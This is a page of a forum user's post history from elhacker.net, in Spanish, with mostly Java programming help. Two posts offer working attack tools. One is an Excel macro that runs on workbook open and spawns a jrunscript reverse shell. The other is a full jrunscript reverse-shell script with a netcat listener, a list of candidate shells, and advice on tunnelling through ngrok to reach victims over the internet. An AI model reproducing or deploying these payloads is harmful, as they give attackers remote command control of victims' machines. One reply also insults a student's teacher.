elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


Tema destacado: Únete al Grupo Steam elhacker.NET


  Mostrar Mensajes
Páginas: 1 2 [3] 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ... 63
21  Programación / Java / Re: Problema al momento de crear metodo static en: 25 Febrero 2022, 15:37 pm
Vale! gracias
¿Me podrias decir porque no se recomienda?
Es que a mi me estan enseñando de esa forma

tu profesor es noob y no sabe programar no le creeas nada pero no le digas lo que te dije que el cojudo crea lo que quiere

yo soy bien chingon y he hecho varios programas complejos todos funcionando (que es lo unico que cuenta) y he estado participando y explicando a gente grande (no como tu profe) la mejor manera de diseñar software
22  Programación / Java / Re: Problema al momento de crear metodo static en: 25 Febrero 2022, 15:30 pm
respuesta corta
cada clase debe hacer una sola cosa para lo cual fue designada y la debe hacer bien


es algo de lo que hay escuelas de pensamiento que estan en desacuerdo obiviamente mi escuela  esta en lo correcto y la otra los llamamos los equivocados

es solo seguir un orden si no sigues un orden es dificil programar cuando tengas un sistema muy complejo

la clase persona Persona solo debe ser responsable de manejar la logica de una sola persona
puede tener metodos como getNombreCompleto o getEdadEnAños

y la clase Lista solo puede tener metodos para manejar a un grupo de personas puede tener metodos como

ejecutaAumentoSalarioMasivo(CodigoSeccionAdministrativa codigoSeccion)
agrega(Persona persona)
modifica(Persona persona)
despidePersona(int codigoPersona)
23  Programación / Java / Re: Problema al momento de crear metodo static en: 24 Febrero 2022, 18:54 pm
hola que tal
mira

la regla basica es simple
cuando usas un metodo static solo lo puedes llamar desde otro metodo static

para solucionar la clase lista debe usar el patron singleton
Código
  1. public class Lista {
  2.  
  3.    List<Integer> listaP = new ArrayList<>();
  4. Lista instance;
  5.    private Lista(){}
  6.  
  7.  
  8. public static Lista instance(){
  9. if(instance==null){
  10. instance=new Lista();
  11. }
  12. return instance;
  13. }
  14.  
  15.    public  void agregar(int dni) {
  16.        listaP.add(dni);
  17.    }
  18.  
  19.  
  20.    public void eliminar(int dni) {
  21.        listaP.remove(dni);
  22.  
  23.    }
  24. }
  25.  

y para llamarlo usa

Código
  1. Lista milistita = Lista.instance();
  2.  


no recomiendo para nada que la clase persona use la clase lista XD
24  Programación / Java / Re: Error al ejecutar "web aplicación" en apache netbeans y apache-tomcat en: 13 Enero 2022, 08:20 am
solo usa spring boot

 https://www.youtube.com/watch?v=ZJ7afDSrb3s

y si tienes problemas con maven en netbeans usa eclipse


spring boot no requiere que instales y configures un servidor tomcat externo
25  Programación / Java / Re: activar menu del boton derecho del raton. en: 9 Enero 2022, 21:19 pm
????

me tomo menos de un minuto buscarlo en google

???

https://www.logicbig.com/tutorials/java-swing/text-cut-copy-paste-menu.html
26  Programación / Java / Re: activar menu del boton derecho del raton. en: 8 Enero 2022, 20:24 pm
XD
en javase
puedes trabajar en swing o fx

de que packete importas
de

javax.swing o
javafx
27  Programación / Java / Re: activar menu del boton derecho del raton. en: 7 Enero 2022, 19:07 pm
javafx o swing?
28  Seguridad Informática / Hacking / contribucion macro maliciosa en: 5 Enero 2022, 06:54 am
hola aqui les paso una macro muy malota

cambie el puerto y la ip a la del atacante y use tunel para que fucnione en wan

ejemplo para escuchar

Código
  1. nc -lvnp 9001


Código
  1. Private Sub Workbook_Open()
  2. Shell ("jrunscript -e ""main( 'localhost',9001,'cmd'); function main(host,port,cmd) { try { p = new java.lang.ProcessBuilder(cmd).redirectErrorStream(true).start(); s = new java.net.Socket(host, port); pi = p.getInputStream(); pe = p.getErrorStream(); si = s.getInputStream(); po = p.getOutputStream(); so = s.getOutputStream(); while (!s.isClosed()) { while (pi.available() > 0) so.write(pi.read()); while (pe.available() > 0) so.write(pe.read()); while (si.available() > 0) po.write(si.read()); so.flush(); po.flush(); java.lang.Thread.sleep(50); try { p.exitValue(); break; } catch ( e) { } } p.destroy(); s.close(); } catch ( e) {e.printStackTrace();} }"" ")
  3. End Sub
  4.  
29  Programación / Java / contribucion shell inversa en jrunscript en: 3 Enero 2022, 07:10 am
hola a qui les presento una shell inversa en jrunscript

 :xD :xD :xD :xD :xD





paso a explicar los comandos mas importantes recuerda el atacante y la victima tienen que usar el mismo puerto y estar dentro de la misma red si quieres atraves de wan tienes que usar un tunel XD

1 primer paso preparando el listener en el atacante en el puerto 9001
 

 

Código
  1. nc -lvnp 9001

2 modifica la primera linea del script para que use el ip del atacante y un puerto recuerda los puertos tienen que coincidir

 
Código
  1. main( "localhost",9001,"cmd");
  2.  
  3. function main(host,port,cmd) {
  4. try {
  5. p = new java.lang.ProcessBuilder(cmd).redirectErrorStream(true).start();
  6. s = new java.net.Socket(host, port);
  7. pi = p.getInputStream();
  8. pe = p.getErrorStream();
  9. si = s.getInputStream();
  10. po = p.getOutputStream();
  11. so = s.getOutputStream();
  12. while (!s.isClosed()) {
  13. while (pi.available() > 0)
  14. so.write(pi.read());
  15. while (pe.available() > 0)
  16. so.write(pe.read());
  17. while (si.available() > 0)
  18. po.write(si.read());
  19. so.flush();
  20. po.flush();
  21. java.lang.Thread.sleep(50);
  22. try {
  23. p.exitValue();
  24. break;
  25. } catch ( e) {/*e.printStackTrace();*/}
  26. }
  27. p.destroy();
  28. s.close();
  29. } catch ( e) {e.printStackTrace();}
  30. }
  31.  
  32.  
  33.  

3 ejecutar script shell.js en la victima usando el ip del atacante y cmd para los que odian al los pinwinos o

Código
  1. jrunscript shell.js

otras opciones dependiendo de el sistema operativo y las configuraciones puede funcionar alguno
 sh
 /bin/sh
 bash
 /bin/bash
 cmd
 powershell
 pwsh
 ash
 bsh
 csh
 ksh
 zsh
 pdksh
 tcsh


fuentes y herramientas

un builder de shell reversa online https://www.revshells.com/

y con ngrok te haces un tunel


30  Programación / Java / Re: Cambiar color JLabel en java en: 12 Diciembre 2021, 06:05 am
mmm estoy ocidado

 
Código
  1.  
  2. package swing.comboexample;
  3.  
  4. import java.util.logging.Logger;
  5.  
  6. import javax.swing.Action;
  7. import javax.swing.JComboBox;
  8. import javax.swing.JFrame;
  9. import java.awt.FlowLayout;
  10. import java.awt.Color;
  11.  
  12. import java.awt.event.ActionEvent;
  13. import java.beans.PropertyChangeListener;
  14.  
  15. import javax.swing.JLabel;
  16. import javax.swing.JOptionPane;
  17. import javax.swing.text.AttributeSet.ColorAttribute;
  18. public class HelloWorld extends JFrame{
  19.  
  20.    public static void main(String... args) {
  21. HelloWorld helloWorld = new HelloWorld();
  22. helloWorld.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
  23. JComboBox<String> cboColor = new JComboBox<String>();
  24. cboColor.addItem("rojo");
  25. cboColor.addItem("verde");
  26. cboColor.addItem("azul");
  27. JLabel lblPrincipal = new JLabel("hola");
  28. lblPrincipal.setOpaque(true);
  29. cboColor.addActionListener(p->{
  30. int index = cboColor.getSelectedIndex();
  31.  
  32. switch (index) {
  33. case 1:
  34. lblPrincipal.setBackground(Color.RED);
  35. break;
  36. case 2:
  37. lblPrincipal.setBackground(Color.GREEN  );
  38. break;
  39.  
  40. case 3:
  41. lblPrincipal.setBackground(Color.BLUE);
  42. break;
  43.  
  44. }
  45. } );
  46. helloWorld.getContentPane().setLayout( new FlowLayout() );
  47. helloWorld.getContentPane().add(cboColor);
  48.  
  49. helloWorld.getContentPane().add(lblPrincipal);
  50. helloWorld.setLocationRelativeTo(null);
  51. helloWorld.pack();
  52. helloWorld.setVisible(true);
  53. }
  54.  
  55.  
  56. }
  57.  
Páginas: 1 2 [3] 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ... 63
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines